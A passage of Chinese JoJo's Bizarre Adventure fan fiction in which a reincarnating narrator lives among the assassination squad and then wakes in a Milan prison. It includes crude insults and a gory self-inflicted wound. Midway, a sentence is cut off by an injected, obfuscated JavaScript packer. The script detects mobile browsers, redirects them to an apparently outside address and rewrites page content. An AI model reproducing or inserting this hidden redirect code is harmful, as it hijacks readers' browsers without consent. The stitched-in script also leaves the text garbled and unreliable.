我低着头快步走,想赶快回到房间去,一个不小心在走廊撞到了什么人。我抬头一看,是普罗修特。我不知道他是什么时候回到据点的。他上下打量了我一番,皱起了眉,说我穿的这是什么玩意,又说我该去洗个澡。 我才想起来从来到据点到现在我都还没注意下自己的个人卫生问题。我尴尬地笑了一下,就要往浴室走。普罗修特应该是实在嫌弃我到一定境界了,因为他拉住我,说就用他的浴室。据点里只有普罗修特和伊鲁索的房间有单独的浴室,其他人用公共的。我懵了,我转过头看着他,说我吗? 我看起来应该挺傻的,普罗修特无语了,他把我推进浴室里,叫我洗个澡再出来。我就这么进了普罗修特的浴室。浴室里很整洁,墙上贴着深色的瓷砖。我不知道为什么普罗修特会让我用他的浴室,也许是他看我太邋遢不顺眼,但肯定不只是因为这个。 我脱下衣服,拧开花洒开关,温热的水浇在我身上,我觉得很放松。自从我来到这个新的时间线,我很久没这么放松过了。我用了普罗修特的洗发水和沐浴露,拿了一条浴巾擦身体,有那么一瞬间我觉得自己闻起来像他。 我裹着浴巾推开门,没想到普罗修特就站在门口等我。气氛很奇怪,我怯生生地后退了一步说我去换衣服,想把门关上,他却拿胳膊抵住了门,整个人凑上来,问我梅洛尼对我干什么了? 我只好诚实地回答他我光着身子让他换衣服,很长时间,然后就没了,没别的,真的。普罗修特看上去很生气,他警告我离梅洛尼远一点,梅洛尼很危险。我心想我对梅洛尼的了解可比你多。但他说的也没错,梅洛尼的确很危险。 我跟他打哈哈说你放心,我这幅身体他不会拿我当母体。他还是很生气,说只要是女人就该离梅洛尼远一点,你应该清楚,婊子。我又想起普罗修特把香烟按灭在我的舌头上的场景,普罗修特是真的只把我当一个东西。我又后退了一步,说我知道了,我错了,能先让我穿上衣服吗? 普罗修特冷哼了一声,说你那衣服穿和不穿都一样。他说的没错。但我还是当着他的面换上了衣服。我现在穿着的是一件脖子后面系带的短吊带和一条褶边超短裙,非常梅洛尼的风格。普罗修特非常看不上这身衣服。 我想走,但是普罗修特又拦住了我,他要我到他房间里去。我无语了。我觉得自己像个充气娃娃,每个男人都能随便摆弄我。我叹了口气,问他想干嘛?他从床头柜里拿出烟盒,磕出一根,问我抽不抽,我摇头。他点上烟,吸了一口,看向我,问我,我是怎么死的? 我愣住了。我没想到他会问这么一个问题。我说你被卷到火车下面碾死了。他问我细节,我说我不知道,这都是梅洛尼告诉我的,他当时在现场,我又不在。普罗修特骂了句脏的。我突然想到这时候他和梅洛尼的关系还不太好。这时梅洛尼和加丘刚过新人阶段,普罗修特曾经带过梅洛尼一段时间,而里苏特带加丘。这两个金发男人之间存在太多的观念不和,他们没少吵架。 贝西很不合时宜地突然出现在房间门口,他来叫他大哥下楼吃饭。他看到我这身打扮,惊慌失措地转身就要走。普罗修特一把揪住他的领子开始教训他。我趁着这个机会溜了。 我们聚在一起吃饭。餐桌上我忍不住问梅洛尼,你不觉得我穿这身很像出来卖的吗?梅洛尼说你不本来就是吗?我一时语塞,说不出话了。男人们大笑起来,霍尔马吉欧笑得最大声。我无语了,只好尽量忽视他们,埋头吃我的饭。 梅洛尼买给我的衣服虽然露肤度很高,但穿起来方便。现在沦落至此,我也不是很在乎打扮自己,每天套上衣服除了睡觉就是在房间里待着。我不知道他们哪来那么多杂志,但很感谢它们帮我消磨了无所事事的时间。 在我窝在房间里发霉的第六或者七天,普罗修特又来找我了。他没有穿西装外套,只穿了一件明黄色的短袖衬衫,看上去随意而自然。他对我的态度依然不是很友善,拽着我就要往外走。我连声叫着问他要干嘛,他说他要带我出门,去买身正常的衣服,里苏特批准了。 我很惊讶里苏特会允许我外出,但我更惊讶的是普罗修特会愿意给我买衣服。我头发乱七八糟,没有洗脸,没有梳妆打扮,穿着和廉价站街女一样的穿着,就这么出了门。 我第一次好好看看街道的模样。这里好像什么都没变,一切都还是我熟悉的样子。普罗修特带我来到一家成衣店,也没问我的意见,自己拿了几件衣服,叫我去试衣间换。 我拿着那几件衣服走进试衣间,仔细看了看,都是简单又不失设计感的风格,没有太多繁琐的装饰,当然也没有露出太多皮肤,大多是些普通的连衣裙衬衫一类。我换上一条土黄色的连衣裙,艰难地自己拉上背后的拉链,转了两圈,感到胸口空荡荡地灌风。我尴尬地走出来,说我能不能要小一码? 年轻的女店员笑着点头,她走过来,拿了一条皮尺围上来量了量我的胸围和腰围,给我拿了一条新的裙子。在把裙子递给我时,她笑滋滋地看着我,说你男朋友好帅呀! 我说普罗修特不是我男朋友,我们只是——呃,同事,我们是同事。女店员哈哈大笑,说那我就有机会咯?我心想你可别真有机会,普罗修特的女人下场都很惨。 我走进试衣间,换上小一码的连衣裙,这次是小店员为我拉上拉链。她不住夸奖我漂亮,拉着我到门口的穿衣镜前让我看看自己。我转了一圈,轻薄的裙摆飘起来,我被这女孩的笑容感染,觉得心也轻盈起来。 普罗修特去柜台前付账,他自始至终没有看我。小店员也到柜台前去,我还站在镜子前面。我低下头,摆弄胸口的小蝴蝶结,这是件简单却精致的衣服,裁剪恰到好处,腰部收紧的设计也很显腰身。 就在我欣赏裙子细节的时候我突然听见一声尖叫,我转过头,看见小店员一脸惊恐地指着门外的方向——下一秒随着一声巨响,玻璃碎了一地,一辆失控的轿车直直冲进了店里,向我们的方向冲了过来。 —to be continued— 5. 监狱里的商业帝国 我感觉身上的每一块肌肉和每一根骨头都在疼。我的意识逐渐恢复清晰,我睁开眼,看见一片漆黑的地面。我正以一个扭曲的姿势趴在地上。我吃力地爬起来,看见乔鲁诺坐在那里,他看见我这幅模样笑了,站起来向我伸出手。 乔鲁诺把我扶起来,我们再次一起坐在椅子上。他问我,你还好吗?我白了他一眼,叫道这么多天就没有一件事儿是好的!乔鲁诺轻轻地拍拍我的肩膀,说命运总是变化无常的,是吧? 联想到不久前那个婴儿,我怀疑乔鲁诺就是成心想要折磨我,因为我是唯一一个从他们小队手中幸存的组织叛徒——前组织叛徒?我不知道该怎么说,这很奇怪。我不知道乔鲁诺为什么不直接杀了我,我并不觉得自己身上有什么价值,或许像他说的那样,我唯一的价值就是加入组织够早,了解更多从前的事,能更快融入曾经的组织群体。 ——无论如何,我好不容易在暗杀组混到一个基本算正常人的身份结果突然被一辆莫名其妙出现的车撞死这件事还是挺丢人的。我又想起之前的那个想法,我问他,你能不能看见我都做了什么? 当然可以。他说。我突然感觉有点毛骨悚然,就好像我做什么头顶都多了双眼睛。这种就像被监视的感觉很不好。我有点心虚地看向他,说你不是一直在看我,对吧?你总得做点组织的工作什么的—— “可能你还不太明白我们现在所处的空间意味着什么,伊莎贝拉小姐,”乔鲁诺打断了我,他的的表情很认真,“这是镇魂曲所建立的一个与外界隔绝的屏障,而外界的时间是静止的,只有在你战胜命运后,一切才会恢复正常。” 见我面色凝重,乔鲁诺又笑了,他握住我的手,说不必有压力,我能看见你做得很好。他的眼神很真诚。 我一时间不知道该说些什么好,我觉得我把话题变得沉重了。我张了张嘴,想转移话题,突然想到之前在地下室想到的事。我赶紧问乔鲁诺,普通人到底能不能看到夜车? 乔鲁诺愣了一下,说你说替身还是那块表?我懵了,问他替身不就是那块表吗?他反应了一下,笑着说不好意思啊,那其实不是夜车,只是用来提醒你生命倒计时的工具,它和夜车什么关系也没有。 我气笑了,说所以你这是拿我寻开心是吗?乔鲁诺向我眨巴眨巴眼睛,说抱歉啦,我怕你接受不了失去替身,才这样说的。我想说他妈的我人生中经历的难以接受的事情比这多多了,我离开家乡到到几百公里开外的地方当陪酒女的时候你还在上小学呢。 不过这个话题的确是让我心里轻松了些。我把一只手从乔鲁诺的手底下抽出来,盖在他的手背上,说谢谢你,体贴的小教父,那现在你能告诉我下一步怎么办了吗? “我不知道,伊莎贝拉小姐,你觉得呢?”乔鲁诺突然凑得很近,他收起了笑容,“——在你隐瞒事实只将部分情报告诉他们的时候,你在想什么呢?” 我感到大脑一瞬间空白,什么都听不见,只有耳鸣。我意识到我做错了。我深呼吸,让自己尽量镇定下来。我说我只是想让索尔贝和杰拉德活下去。噢,他盯着我的眼睛,说然后呢? 我咽了咽口水。我知道乔鲁诺的最终目的是不失去那么多他信任的手下,而我却在这儿忙着想让暗杀组的两位叛徒逃离前老板的抓捕。我说如果他们没有死,那暗杀组就不会选择背叛,自然就不会和你们—— “是吗?” 乔鲁诺向后靠在椅子的靠背上,手搭着椅子的扶手,“——你确定暗杀组背叛只是因为索尔贝和杰拉德的死,而不是为了组织的毒品交易线吗?” 我感到后背沁出一层冷汗。明明我和乔鲁诺坐在同一张椅子上,我却觉得他正俯视我。的确,小队里就没几个人不追求金钱和地位,卖粉赚的钱比当杀手卖命要多得多。索尔贝和杰拉德只是一根引线,组织将他们点燃时才真正激化了我们和组织间的矛盾。但如果不点燃,我们心里的贪婪也一直存在。 说简单些就是无论索尔贝和杰拉德会不会死,我们最终都会选择背叛老板,这只是时间问题。而我费尽心思地接近暗杀组,告诉里苏特那些情报,只是出于我个人的私心。我不想让他们死。 我维持着一个姿势很久没说话,乔鲁诺像是看出了我心中所想,他说他承诺如果我们愿意服从于新热情,他会给我们更好的待遇。首先他会派我们铲除毒品组,而他们的资产我们能分到百分之七十到八十。 那会是个不小的数目。我不知道里苏特他们是否会接受,我清楚他们的野心。我经历了一次失败,经历了一次生不如死的耻辱,可他们还没有。我有些迷茫了。我用一只手轻轻搭上乔鲁诺的手腕,说,我想让他们活下去。 他们可以活下去,但这都要看你。乔鲁诺说。他看着我,面孔还带着青少年的稚嫩,神色却是不符合年龄的成熟。虽然没有任何保证,但我却觉得他的话语充满分量。 我希望我没有看错人。我也从来没有过。乔鲁诺说。 我不知道我是不是在颤抖。乔鲁诺轻轻攥了一下我的手,然后他站起来,从一个桌子上拿起那把枪,瞄准了我。 我闭上眼,听见扳机扣动的响声,随后子弹正中我的眉心,我向后倒了下去。 — 我在一张床上醒来。中弹的滋味并不好受,这已经是第四次了,我不知道那子弹会不会对我的脑袋造成实质影响。我坐起来,屋子里泛着一层淡淡的蓝,凌晨四点,阳光已经隐约照进来了。 我借着朦胧的光下床,再一次光脚踩到地板,我看见一张桌子,桌上摆着很多书,有个摊开的笔记本,墙上贴着地图和很多海报。这里像是学生宿舍。 ——很快我的想法就被残酷地否决了,因为我顺着光源转过头,看见墙上高处开着一个小小的栏杆封着的窗口。一种不好的感觉在我心中浮现,我低下头,借着光看见自己身上穿着灰蓝色的囚服。 我操。 那种我早已熟悉的眩晕再我袭来,我站在地板上,找不到支撑点,只能摇摇晃晃地抱着头蹲了下来。我闭上了眼,等待那些胶片再次出现在我的眼前。 琳赛·格伦,26岁,走私犯,长期在欧洲中部及南部活动,主要走私违禁药品及枪支,被通缉已有数年,最终在意大利米兰被捕,关押至当地监狱。在监狱中,琳赛再次做起了自己的老本行,和服刑人员进行交易,因为定期给狱警好处费,狱警也就对此事睁一只眼闭一只眼。 因长期受到优待且在监狱中过于张扬,琳赛招来了其他囚犯的记恨。一次监狱组织囚犯去工厂生产劳动,几名囚犯故意让她在出了故障的生产线上工作,本想让她出错受罚,不料故障的机器直接将她卷了进去,直接绞死了她。 我直冒冷汗。这位琳赛虽然性格恶劣,但头脑精明,在监狱中本该混得风生水起,却没想到死于这么一场意外——而且这场意外现在马上就要他妈的发生在我身上了。 还好现在我知道这件事要发生,只要到时候我能发现机器故障远离那里就能避免死去的结局了。现在最重要的问题只有一个:热情还有三年就要翻天覆地,我是唯一一个能有可能改变结局的人,而我的刑期从现在开始还得按年倒数,我他妈被困在监狱里了。 有那么一瞬间我甚至想咬舌自尽算了,然后一切重来,我重新投胎,换到一个人身比较自由的身体上去。但我知道我就只有十二次机会,并且我已经用掉了算这次一共四次,从先前可怜的进展来看这是个艰难的过程,浪费生命就等于找死。虽然这听起来怪怪的。 我开始在那张桌子上翻翻找找。琳赛是个聪明人,我在想她是不是有监狱的地图之类的,我得开始制定一个越狱计划——就在这时我听到一阵窸窸窣窣,我的动静惊动了牢房里的另一个人。 “你在干什么?” 我挺直了脊背,僵硬地慢慢把头往回转,大脑飞速旋转思考下一步的对策。我知道监狱里大多不是些什么善茬,但从记忆中来看琳赛和自己的室友应该没什么过节,我想着笑一下就算了,可我连对面的脸都没看清就被一拳抡在了脸上。 温热的鼻血滴答滴答地淌了下来,我被这一拳的惯性掀翻在地上,我不敢抬头,我听见那女人大骂我——“你他妈找死是吧,我是不是说过别动我的东西?你真以为会做点生意他们就能永远罩着你了?” “喂,你们两个!出什么事了?” 一阵急促的脚步声,我听见巡逻的狱警向我们两个叫道,随后手电筒的光就照了进来。借着光我终于看清了那女人的脸,我尖叫出声来—— “帕莎?!!” 我认识她。帕莎·帕洛玛,在那不勒斯海滨和另一个叫尤拉妮娅的女孩一起经营自己的便利店,我们几个交情很好。她整天摆着副臭脸,但她对我们都不错,霍尔马吉欧还经常去她店里赊账买烟买酒(老实说我不知道他死前有没有把这些钱还上)。 帕莎见了狱警也完全没有退缩的意思,她仍然恶狠狠地瞪着我。并且更出乎我意料的是看到是我们两个之后狱警也只是警告了我们几句别闹出大动静就走了,这意味着在我们两个人中有一个人的地位不低,甚至能到足以帮狱警教训新来的囚犯的那种程度。很明显那个人不是我。 我不是没想过帕莎曾经有段风云往事,但我实在没想到她会是监狱大姐头,而我现在成为了一个狗腿子,并且成功惹上了她。从现在的情况来看跟她作对就是找死,在她的拳头再一次落下之前我赶紧叫道我知道错了,屋里太黑了我不知道这是你的桌子——然而帕莎根本不愿意听我说完,那一拳还是落在了我的脸上。 再这么下去恐怕没等到工厂我就要先在这儿被打死了。我求她听我把话说完,她啐了我一口,说别以为她不知道我是哪种人,她知道我打的什么算盘。我现在知道帕莎曾经跟我说的她脾气已经比以前好多了是什么意思了。 我实在不想再跟人解释什么时空穿越了,再这样下去我迟早疯掉,我只能先以这个身份将计就计。我压低声音,说我实在受不了监狱里单调重复几年如一日的生活了,我打算越狱,我只是想找张地图,不是想乱碰你的东西。我知道这听起来很扯,琳赛在监狱里可谓是如鱼得水,但这比我说我来自另一个时空强多了,这个世界上可不会再有一个梅洛尼愿意听我讲玄幻故事。 帕莎不屑地表示她可没看出来,但她没心思再听我鬼扯了,无论如何希望我长点记性,这次就放我一马。她在这里已经快半年,虽然最近才搬进来和我一起住,但我的那些小心思她早就一清二楚。我在心里惊叹帕莎入狱不到半年就混到了金字塔顶,同时忍不住好奇她犯了什么事。 我问她你怎么进来的?她明显没反应过来,骂我脑子被打傻了?但还是回答我因为打架。那你还有多久出去?我从地上爬起来,在下铺的床上坐下,她瞪了我一眼,我跟她赔笑脸,说您大人不计小人过,包容包容我嘛,我只是想交个朋友。我们住在一起这么久,都没好好说过话吧? 我知道这个时候我得赌一把,事实证明我赌对了。帕莎看起来有些不耐烦,但还是在我旁边坐了下来。我知道她就是拿这种人没办法,普拉也是,霍尔马吉欧也是。帕莎告诉我她大概还有半年出狱,但不确定会不会发生什么事再被留下——我心想那应该不会,因为明年你就开店了。 其实我不知道我们之前是什么关系,也许是点头之交的室友,或者刚认识没多久,又或者是我整天犯贱挑衅然后被她教训然后再认错。我又开始好奇我本来的室友哪儿去了,我问帕莎,她说那女的出狱了,她刚搬进来不到一个月——为什么你就像突然什么都不记得了一样?我真把你打傻了?我哈哈干笑了两声,跳过了这个话题。 就像我之前说的一样,帕莎人其实挺好的。我们很快熟络了起来,她问我是不是真的想越狱,我心想也不一定,但是如果我不趁早想个办法出去的话等我被放出来暗杀组就死完了。我说我想去那不勒斯,她噢了一声,说那是她的故乡。 我们一直聊到天亮。她打了个哈欠回床上躺着,我却清醒得很,我真的拿到了一张监狱的结构地图,但我不确定我要不要冒这个险。我突然想到如果我能给组里打个电话说明情况的话说不定里苏特会舍得把我捞出来。我不知道他会不会信。 天亮了我才真正看清这牢房的布局,的确称得上待遇不错。我走向墙上贴着的镜子,第一次看见琳赛的脸。她有一头酒红色的头发,脸颊瘦削,金色眼睛细长而上挑。和奥利维娅不同,琳赛看上去更有攻击性,她的确是长了一张看起来干什么都不会吃亏的脸。 我没心情睡觉,等狱警检查过房间就走了出去。我花了点时间熟悉监狱,距离我自己上次进监狱已经有很长的年头了,再次回到这种特殊的集体生活给我一种说不出来的感觉。监狱的手指牙刷非常难用,浴室里没有热水,还有一个体味很重的女人在我对面用止汗露,我知道我迟早会适应这些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744049|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我随便洗漱了一下,去食堂里吃饭。早饭是冷面包和难喝的浓缩果汁,帕莎走在我前面,其他人都不约而同似的给她留了一张干净的空桌子,很难想象她之前都在监狱里干了什么。我环视了一圈,决定在她旁边坐下,她默许了。除此之外再没人敢在我们这张桌子上坐下。我看见帕莎的餐盘里有罐头火腿,问她能不能吃一块,她有点无语,但还是答应了。 我没吃多少东西,放下餐盘,准备去打电话。我找了一圈,几个公用电话前面都排起长队,我知道靠等恐怕得明年才能轮到我,我只好回牢房里抓了一把钞票,塞到前面那个女人手里,跟她说下一个我打。她表情很惊讶,挑了挑眉,说这不是琳赛吗,你也有要用电话的时候?我白了她一眼,问她钱够不够,不够我再去找。她识相地往后退了一步。 我凭记忆拨通电话,接电话的人是霍尔马吉欧。他喂了一声,我后面还排着长队,不想浪费太多时间拉仇恨,我开门见山地说女人,伊莎贝拉,奥利维娅,时空穿越,重生——你能让里苏特接电话吗? 霍尔马吉欧说噢是你啊,原来你知道组里电话啊,那你之前费尽心思地往据点混干什么,你给我们打电话不就好了?我差点气晕过去,先不说真打了电话他们会不会信,我刚到奥利维娅身上的时候还在接客呢,要是等到第二天完事打电话我早死床上了。 我反复强调让他把电话给里苏特是因为我觉得我跟现在的霍尔马吉欧根本没法交流。他问我那你现在在哪儿呢,怎么突然想到打电话了?我说我他妈的被困在米兰监狱了!他在电话对面可能听出来我快气死了,哈哈大笑了两声说别着急嘛,你有什么话先跟我说不也一样?里苏特出去了。我实在是没心情跟他扯皮,我问他现在屋里还有谁,他说加丘,我说那算了。 我身后的女人开始不耐烦,拍我肩膀催我快一点,我更气了,我这么长时间还一点儿正事也没说。我自暴自弃地说挂了挂了,你告诉别人我活了就行,接下来我自己想办法得了!我把固定电话往墙上一按,转身就走。我都能想象到电话那边霍尔马吉欧的表情了。 等我回答自己的牢房里,帕莎又不知道跑哪儿去了。我感觉脑子很乱,坐在床上胡思乱想了一会儿,又开始后悔自己刚才跟霍尔马吉欧置气。这么说挺没骨气的,但是现在他们的确是我在这个世界唯一能依靠的人了,我不可能指望帕莎能像搭救尤拉妮娅普拉一样帮我,她现在还在监狱里,我也一样。 我准备下午或者明天再给组里打个电话,好好说明一下我现在的情况,最好是能直接跟里苏特本人说话。我承认自己的确是有点太依赖里苏特了,但他的承诺能让我安心很多。我又想起那个铁吊坠,突然感觉自己有点可悲。 — 第二天我又抓了把钱去打电话,不是我自己赚的钱我也没工夫心疼,只是不知道这么下去琳赛本人在监狱建立的商业帝国是不是几天就要被我搞破产了。 今天接电话的人是里苏特。听到他的声音我总算松了口气,他没多问我什么,我猜霍尔马吉欧昨天应该跟他都说了。我直奔主题,说我现在在米兰,米兰的圣维托雷监狱,因走私罪入狱的琳赛·格伦。他很快猜出了我的意思,说如果需要的话,他可以安排人给我办假释,问我犯的罪重不重。我想了一下回忆里琳赛做的那一大堆不是人的勾当,说呃可能会有点麻烦。 得知里苏特愿意出面捞我我还是很开心的,我也放松了下来,我说你不需要确认一下我的身份什么的吗?这可不像你的作风。我把你给我的吊坠放在杂物间的床垫下面了,你可以找一下。其实已经没必要了,但里苏特很照顾我的心情,或者说很给我面子,他说他会去看看。 里苏特又跟我说了一些组织里的事。他说对特里休的调查还在继续,目前一切都很顺利,还有他已经让索尔贝和杰拉德停止了调查工作,并且这段时间去西西里执行一些无关紧要的任务暂避风头。我知道他说这些是想让我放心。我说我现在实在是不太方便跟你在电话里讨论情报的事,可能得我们见了面才行,他说这点我不必心急,他会安排,不要在监狱里轻举妄动。里苏特可能猜到我想越狱了,他怕我再死一次。 我突然想起我忘记了重要的事——我的死因。我把琳赛原本死于工厂事故的事告诉了里苏特,电话里沉默了片刻,他嘱咐我多加小心,奥利维娅的事已经证明了我能够改变——至少能晚点儿死。他提到这个我才想起奥利维娅来,我赶紧问他那辆车是怎么回事?里苏特说那司机喝了酒,纯粹是一场交通事故,并不是有意针对我的袭击。他还告诉我那店员也死了,我心想普罗修特应该是没事,不然他们不可能不告诉我。 我用的是监狱的公共电话,他们没办法直接联系我,我只能有事就打电话。考虑到我的钱随时可能用完,我最好还是省着点儿。我挂了电话,感到如释重负。虽然不知道具体什么时候能出狱,但好歹是有了盼头。 我拿粉笔在墙上刻字计时。琳赛的人际关系打点的还不错,再加上帕莎没再找我麻烦了,我好歹是过了段舒服日子。过了一个星期左右,我跟帕莎坐在一起吃饭,突然两个狱警一前一后地过来,不由分说地按住我的胳膊就要把我带走。我懵了,帕莎也懵了,我叫道干什么,一个女狱警说别磨磨蹭蹭,快点跟他们走,有人要探视我。 我走的时候转过头,对上帕莎疑惑的灰眼睛,她用口型问我你朋友吗?我还没来得及回答她,就被推推搡搡地带走了。 我被带到一个房间坐下,桌上放着座机电话,中间隔着玻璃。过了一会儿我看见另一扇门开了,一个熟悉的身影走了进来。是里苏特。 我没想到他会亲自来见我。再次看到他的脸让我觉得很亲切。里苏特说如果一切顺利,我大概一个月内就能出狱,让我尽早离开监狱对我们双方都有好处,能继续调查行动,也能防止我在监狱里出意外。我点点头。我突然又想起乔鲁诺说过的话,我不知道该怎么开口劝他放弃毒品产业,这可能得之后再说,那会是一段很艰难很严肃的谈话。 我知道如果只是告诉我这些,里苏特完全用不上亲自跑来一趟,我直接问他,出什么事了?他的表情有些凝重,沉默了一会儿,那双漆黑巩膜的血红色眼睛看向我。他说有些事其他人还不知道,但我必须要知道,这很重要。我听见他接下来说的话,呼吸一滞。 ——索尔贝和杰拉德失联了。 —to be continued— 6. 逃离圣维托雷 我不知道该怎么形容我现在的心情。莫名其妙地反复死了又活活了又死就已经很让人崩溃了,现在我又被迫得知我所做的一切可能还是徒劳。我不知道我能不能把命运拉回正轨——可正轨是什么?现在发生的事难道不是本来就要发生吗?我觉得头都炸了。 里苏特看我脸色不太好,他问我还好吗?我想说在你来之前本来都挺好的。其实我也不能怪他,这件事我的确必须知道,更何况现在里苏特的心情不见得比我好受多少。提前知道结局很可能让人变得不那么勇敢,一个人普通地生活着,不知道未来会发生什么,本来一切都过得很正常,但突然有一天他偷看了人生剧本,知道了自己一年后就会死,那么他该怎么面对往后仅剩的这一年人生? 命运有的时候就是很残忍。 我心里还抱有一点期盼,我希望这俩人只是翘班度蜜月去了,毕竟他们也不是没这么干过,但这次是我的记忆第一次和身处的现实重合,我很难让自己不往坏处想。 我问里苏特,最后一次联系上他们两个是什么时候?他回答我三天前。他说为了确保他们平安无事,并且不会再擅自冒险,他会每天联系他们一次,顺便确认任务进展,可自从三天前最后一次通话后电话就再也没打通过。 我不知道现在具体是几月几号,但按照我的记忆来看,再过不久就是索尔贝的切片被寄过来威胁我们的时候了,也就是一切的起点。这一切的时间点卡得实在太巧,我不免有些脊背发凉,可如果他们现在身在西西里,老板按理来说不应该知道才对。难道老板现在就已经察觉到什么了?——他妈的不会老板也重生了吧? 我告诉里苏特无论如何,对特里休的调查要在保证隐蔽的前提下继续,特里休是很关键的因素,正是为了解决特里休老板才会让两个小队厮杀。里苏特说这部分工作目前进展得很顺利。我突然想到特里休今年才十二岁,可怜的小姑娘,她还不知道自己千里之外的父亲一直惦记着杀死她。 里苏特要对我说的已经说完了,他起身要走,我叫他等等。我的心里突然产生了一个念头。我对里苏特说,你能不能给我一把刀? 他皱了皱眉。 我又重复了一遍。我说我想剪头发。里苏特似乎明白了我的意思,他问我确定要他这么做吗?我点点头,深呼吸,给自己做心理建设。金属制品在人体内发动的时候还是很疼的。 我的手腕内侧皮肤向外凸起,一把尖锐的剪刀刺穿了皮肤,鲜血顷刻间涌了出来。血淋淋的剪刀掉在地板上,我忍着疼痛捡起来,当着里苏特的面,毫不犹豫地剪断了自己的长发。 我的手抖得很厉害,我觉得心脏很难受。直到我才意识到我从头到尾都一直被推着走,而我本人可能根本就还没有做好承担对抗命运这个责任的准备。琳赛死时是头发先卷进了机器,紧接着滚轮直接碾碎了她的脑袋。我不敢保证剪短了头发就能避免这件事发生,但我迫切地需要让自己安心些。 酒红色的头发散落一地,里苏特静静地看着我在这发疯,没有说一句话。等我做完这一切,那把剪刀在我手中一瞬间化为一捧铁粉,消失不见了。 我的手腕还流着血,皮肉外翻着,看上去惨不忍睹,而且的确非常疼。我说真抱歉在你面前失态,我只是想缓解一下焦虑,也有可能没有,呃——能帮我止下血吗? 一排订书钉又从我伤口里冒了出来,咔嚓一声扣住了翻开的皮肤。这还是很疼,我的表情一度扭曲,里苏特本来可以选择相对伤害没那么重的方式,甚至他大可以在最开始直接给我两片刀片完事,不至于弄出这么大的伤口。不过里苏特的确是没理由给我留什么情面。 “你出狱后我会安排人接你回那不勒斯,等所有人聚齐后我会和其他组员说这件事,开一次会,”里苏特说,他直直地看向我,“无论发生什么,这一切都需要我们共同面对。” 里苏特用的词是“我们”。他把我算作了暗杀组的一员。 我知道里苏特说这些是想让我别太神经过敏,但现在我是无论如何都放松不下来了。我看着他站起来,往门边走,他向门口的狱警点头致意,随后我这边的房门也被打开。女狱警看了看一地的头发,又看了看我乱七八糟的新发型,表情有点复杂,但什么也没说。我猜肯定有囚犯在会面的时候做过更诡异的事,就像几年前我认识的那个女孩和情夫隔着玻璃接吻然后留下一玻璃口水印,这些狱警应该早习惯了。 回牢房的路上我的新造型引来了不少注目礼,米菈猛拍了一下我的后背,从后面搂住我,笑嘻嘻地打趣说这是怎么啦,你惹到狱警了?我说我自己剪的,她笑得更厉害了。 米菈是我在监狱图书馆认识的女孩,或者说琳赛本来就认识她,只不过现在的我和她最近才重新见面。她是个有一头蓬松卷发和雀斑的美国女孩,脖子上有刺青,入狱是因为抢劫。米菈是琳赛的老朋友,也是常客之一,她总买东西,就像现在,她又塞给我一沓钱,说能不能给她搞台收音机。 我不太理解这些身处监狱还专注于提升个人精神文化的人,不过我想如果我有的是钱又不着急出来我可能也会这么干。我扫了一眼,无语了,跟她说这点钱在监狱外面你也买不来。 拜托啦!她挽着我的胳膊,就帮帮忙嘛!我可以再拿点东西跟你换。我心想如果米菈能拿老板的脑袋跟我换的话,别说什么收音机了,让我给她扛台电视进来我都愿意。 我问她,你有什么?她如数家珍:6号和23号的电话券,眉刷,半瓶香水,注射器,为黑种人设计的粉底液——我赶紧让她打住别说了。真不知道她跟谁进行了多少次以物易物才换来这么些破烂。 米菈抱着我的胳膊晃,大眼睛眨巴眨巴地看着我,她说求求你啦,就这一次,最后一次啦!她比我矮半个头多,我从这个角度看她只觉得起了一身鸡皮疙瘩。我猜这肯定是她至少第十次说最后一次了。这下我倒是有点理解帕莎面对尤拉妮娅或者面对我的心情了,所谓一物降一物,是吧? “噢,那烟你要不要?我记得你抽烟吧?我那里还有几盒——我再送你个打火机,够意思吧!就帮我这一次嘛!” 她双手合十哀求我,我觉得我要是不答应她今天就别想回牢房去了。我只好满口答应,从她开心的尖叫里找空隙溜走。怪胎。不得不说这段监狱生活让我见识了不少怪人,我本以为热情里的奇葩已经够多了。 我回到牢房里,帕莎正坐在床板上看书。她看见我这幅模样,露出相当精彩的表情。我说你想笑就笑吧,我自己剪的。她说那倒不是,我只是——有点担心你,你看上去不太好。 帕莎的直觉很准。 我叹气。毕竟我们两个还得一起住一段时间,她迟早会察觉什么,但我又不可能跟她说热情的事,我只好半真半假地开始瞎编。我说我见了我在那不勒斯的……呃,一个朋友,我们的关系真的很好,所以我拜托他帮我办假释。不久之后我就得走了。 帕莎说那是好事啊,你出狱不该开心吗?别告诉我你又舍不得监狱了。我说不是,只是我在这里太久了,在这之前根本不知道外面发生了什么,而我刚得知我家里出事了。帕莎沉默了片刻,说抱歉。如果你不想谈这些,我就不再问了。 我其实对琳赛的家庭一无所知,但气氛烘托到这里,我只能硬着头皮继续编,我好赌的爸生病的妈上学的妹破碎的家——帕莎看上去是真的有点同情我。抛开脾气太差且一言不合就动手这一点(目前暂时还抛不开)来说,帕莎的确是个很好的朋友。 我对帕莎说如果你出狱后愿意的话,就来那不勒斯找我吧,我家就在——呃,或许我们约个饭店什么的?她摆摆手笑了,说那都是后话,等我出去了,记得回来看她就行。我问她那你出狱之后想怎么办?她想了一会儿,说可能开家店什么的?她也觉得有点儿累了,想过过安稳的日子。 原来她开店的想法这个时候就有了。此时的帕莎还一无所知,但我知道之后会发生什么。放心吧,你安稳的日子就是在三年后也没过成,你会遇到一个比现在你眼前的人还神经大条的混血女孩,并且得一直跟着她收拾烂摊子。你就偷着乐吧。 快晚上的时候米菈如约来找我了。她笑嘻嘻地按约定把两包烟和一个打火机塞给我,我看着那两包烟,其实心里有点没底。我不知道我该上哪儿去给她找收音机,也许琳赛的确有这个本事,但现在我没有。 我只能满口答应,告诉她等过段时间就给你弄来,把那些东西往口袋里一塞,接着等她走后赶紧往牢房跑。我在柜子里一顿乱翻,尽管我知道琳赛应该不会真的疯到在牢房里屯一个收音机以备不时之需,但我还是想期待奇迹发生。 琳赛卖的大多是些实用的东西,像杂志周刊,邮票,鞋油这些东西都有,也有香烟这类的硬通货。我甚至找到一张欠条,日期是两个月前,看来她这儿可能还管借款。 